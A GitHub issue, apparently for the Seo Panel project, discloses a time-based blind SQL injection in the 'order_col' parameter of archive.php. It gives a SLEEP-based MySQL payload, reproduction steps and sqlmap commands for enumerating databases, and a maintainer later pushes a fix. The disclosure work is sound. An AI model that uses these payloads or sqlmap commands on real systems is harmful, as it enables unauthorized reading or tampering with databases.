Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Time-based blind SQLi Injection Vulnerability in "order_col" parameter #209

Closed
xoffense opened this issue Mar 13, 2021 · 1 comment
Closed
Assignees

Comments

@xoffense
Copy link

xoffense commented Mar 13, 2021

Hi Team
I would like to report Time-based blind SQLI.

Description:
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.


Vulnerable parameter: order_col


Step to reproduce the issue:

1- Login to SEO admin Panel
2- Copy paste below link:

/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=0

3- Replace value of "order_col" parameter with below payloads:
Payload: (SELECT 7397 FROM (SELECT(SLEEP(10)))keuG)

4- You can see the page sleeps for 10 seconds and maybe some seconds more.


Video POC: https://drive.google.com/file/d/1ZM8_UvJR5HUGJzzZWBoM7k7Qw0MZS4WN/view?usp=sharing


Automated way:

sqlmap -r file.txt --batch --level 5 --risk 3 --dbms MYSQL --dbs --technique=T --flush-session


Impact
Attacker can mount one or more of the following type of attacks successfully:
• Reading, updating and deleting arbitrary data/tables from the database
• Executing commands on the underlying operating system

@BigTiger2020
Copy link

sqlmap.py -r 6.txt --batch --level 5 --risk 3 --dbms=mysql --current-db --technique=T --flush-session
1

@sendtogeo sendtogeo self-assigned this Mar 23, 2021
@sendtogeo sendtogeo added this to the Seo panel 4.9.0 milestone Mar 23, 2021
sendtogeo pushed a commit that referenced this issue Mar 23, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants